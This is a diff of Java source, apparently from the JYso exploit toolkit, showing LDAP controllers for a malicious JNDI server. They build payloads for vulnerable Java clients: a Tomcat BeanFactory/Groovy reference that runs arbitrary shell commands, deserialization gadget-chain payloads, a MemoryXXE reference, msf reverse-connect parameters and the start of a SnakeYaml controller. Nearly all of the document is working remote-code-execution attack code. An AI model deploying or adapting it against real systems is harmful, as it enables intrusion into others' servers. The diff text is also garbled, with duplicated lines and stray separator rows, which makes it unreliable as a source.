} catch (IllegalArgumentException ignored) {
|
} catch (IllegalArgumentException ignored) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据 gadget 类型构建命令行或回连配置参数。
|
// 根据 gadget 类型构建命令行或回连配置参数。
|
||||||
private String[] resolveParams(String base) throws Exception {
|
private String[] resolveParams(String base) throws Exception {
|
||||||
if (gadgetType == null) {
|
if (gadgetType == null) {
|
||||||
return new String[0];
|
return new String[0];
|
||||||
}
|
}
|
||||||
|
|
||||||
switch (gadgetType) {
|
switch (gadgetType) {
|
||||||
case base64:
|
case base64:
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
return new String[]{cmd};
|
return new String[]{cmd};
|
||||||
case shell:
|
case shell:
|
||||||
String encoded = Utils.getCmdFromBase(base);
|
String encoded = Utils.getCmdFromBase(base);
|
||||||
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
||||||
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||||
return decoded.split(" ");
|
return decoded.split(" ");
|
||||||
case msf:
|
case msf:
|
||||||
String[] results = Utils.getIPAndPortFromBase(base);
|
String[] results = Utils.getIPAndPortFromBase(base);
|
||||||
Config.rhost = results[0];
|
Config.rhost = results[0];
|
||||||
Config.rport = results[1];
|
Config.rport = results[1];
|
||||||
System.out.println(" RemoteHost: " + results[0]);
|
System.out.println(" RemoteHost: " + results[0]);
|
||||||
System.out.println(" RemotePort: " + results[1]);
|
System.out.println(" RemotePort: " + results[1]);
|
||||||
return results;
|
return results;
|
||||||
default:
|
default:
|
||||||
return new String[0];
|
return new String[0];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
||||||
private String segment(String base, int index) {
|
private String segment(String base, int index) {
|
||||||
return getStringQ(base, index);
|
return getStringQ(base, index);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 返回连字符后的子串,用于解析自定义类名。
|
// 返回连字符后的子串,用于解析自定义类名。
|
||||||
private String suffixAfterDash(String value) {
|
private String suffixAfterDash(String value) {
|
||||||
int dashIndex = value.indexOf('-');
|
int dashIndex = value.indexOf('-');
|
||||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,72 +1,72 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Requires:
|
* Requires:
|
||||||
* - Tomcat and Groovy in classpath
|
* - Tomcat and Groovy in classpath
|
||||||
*
|
*
|
||||||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||||
*
|
*
|
||||||
* Groovy 语法参考:
|
* Groovy 语法参考:
|
||||||
* - https://xz.aliyun.com/t/8231#toc-7
|
* - https://xz.aliyun.com/t/8231#toc-7
|
||||||
* - https://my.oschina.net/jjyuangu/blog/1815945
|
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@LdapMapping(uri = {"/groovy"})
|
@LdapMapping(uri = {"/groovy"})
|
||||||
public class GroovyController implements LdapController {
|
public class GroovyController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||||
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||||
" ['cmd','/C', '${cmd}'].execute();\n" +
|
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||||
" } else {\n" +
|
" } else {\n" +
|
||||||
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||||
" }";
|
" }";
|
||||||
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||||
|
|
||||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||||
|
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
|
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
|
||||||
try {
|
try {
|
||||||
int firstIndex = base.indexOf("/");
|
int firstIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||||
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,13 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
|
||||||
public interface LdapController {
|
public interface LdapController {
|
||||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||||
|
|
||||||
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import java.lang.annotation.ElementType;
|
import java.lang.annotation.ElementType;
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
import java.lang.annotation.Target;
|
import java.lang.annotation.Target;
|
||||||
|
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
@Target(ElementType.TYPE)
|
@Target(ElementType.TYPE)
|
||||||
public @interface LdapMapping {
|
public @interface LdapMapping {
|
||||||
String[] uri();
|
String[] uri();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,65 +1,65 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/memoryxxe"})
|
@LdapMapping(uri = {"/memoryxxe"})
|
||||||
public class MemoryXXEController implements LdapController {
|
public class MemoryXXEController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
private GadgetType gadgetType;
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
e.addAttribute("javaClassName", "java.lang.String");
|
e.addAttribute("javaClassName", "java.lang.String");
|
||||||
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
||||||
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
||||||
ref.add(new StringRefAddr("pathname", params[0]));
|
ref.add(new StringRefAddr("pathname", params[0]));
|
||||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
|
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
|
||||||
try {
|
try {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int fistIndex = base.indexOf("/");
|
int fistIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
if (thirdIndex != -1) {
|
if (thirdIndex != -1) {
|
||||||
try {
|
try {
|
||||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (gadgetType == GadgetType.base64) {
|
if (gadgetType == GadgetType.base64) {
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,118 +1,118 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/deserialization"})
|
@LdapMapping(uri = {"/deserialization"})
|
||||||
public class SerializedDataController implements LdapController {
|
public class SerializedDataController implements LdapController {
|
||||||
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||||
public static String gadgetType;
|
public static String gadgetType;
|
||||||
public static String cmd11;
|
public static String cmd11;
|
||||||
public static GadgetType gadgetType1;
|
public static GadgetType gadgetType1;
|
||||||
private String params;
|
private String params;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
|
|
||||||
byte[] bytes;
|
byte[] bytes;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||||
Object object = payload.getObject(params);
|
Object object = payload.getObject(params);
|
||||||
|
|
||||||
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||||
bytes = (byte[]) object;
|
bytes = (byte[]) object;
|
||||||
} else {
|
} else {
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
bytes = Serializer.serialize(object, out);
|
bytes = Serializer.serialize(object, out);
|
||||||
}
|
}
|
||||||
|
|
||||||
e.addAttribute("javaClassName", "foo");
|
e.addAttribute("javaClassName", "foo");
|
||||||
e.addAttribute("javaSerializedData", bytes);
|
e.addAttribute("javaSerializedData", bytes);
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Throwable er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error(String.valueOf(er));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||||
System.out.println("- JNDI Deserialization Links ");
|
System.out.println("- JNDI Deserialization Links ");
|
||||||
try {
|
try {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int firstIndex = base.indexOf("/");
|
int firstIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
try {
|
try {
|
||||||
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||||
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||||
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||||
if (thirdIndex < 0) thirdIndex = base.length();
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
PayloadType payloadType;
|
PayloadType payloadType;
|
||||||
try {
|
try {
|
||||||
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||||
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||||
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType == PayloadType.sethttp) {
|
if (payloadType == PayloadType.sethttp) {
|
||||||
params = BCEL1;
|
params = BCEL1;
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
||||||
}
|
}
|
||||||
|
|
||||||
if (payloadType == PayloadType.command) {
|
if (payloadType == PayloadType.command) {
|
||||||
|
|
||||||
if (gadgetType1 == GadgetType.base64) {
|
if (gadgetType1 == GadgetType.base64) {
|
||||||
cmd11 = Utils.getCmdFromBase(base);
|
cmd11 = Utils.getCmdFromBase(base);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (gadgetType1 == GadgetType.base64Two) {
|
if (gadgetType1 == GadgetType.base64Two) {
|
||||||
String encodedString = Utils.getCmdFromBase(base);
|
String encodedString = Utils.getCmdFromBase(base);
|
||||||
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||||
String T1 = new String(decodedBytes);
|
String T1 = new String(decodedBytes);
|
||||||
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||||
cmd11 = new String(decodedBytes1);
|
cmd11 = new String(decodedBytes1);
|
||||||
}
|
}
|
||||||
|
|
||||||
params = cmd11;
|
params = cmd11;
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,71 +1,71 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/snakeyaml"})
|
@LdapMapping(uri = {"/snakeyaml"})
|
||||||
public class SnakeYamlController implements LdapController {
|
public class SnakeYamlController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
private GadgetType gadgetType;
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
e.addAttribute("javaClassName", "java.lang.String");
|
e.addAttribute("javaClassName", "java.lang.String");
|
||||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
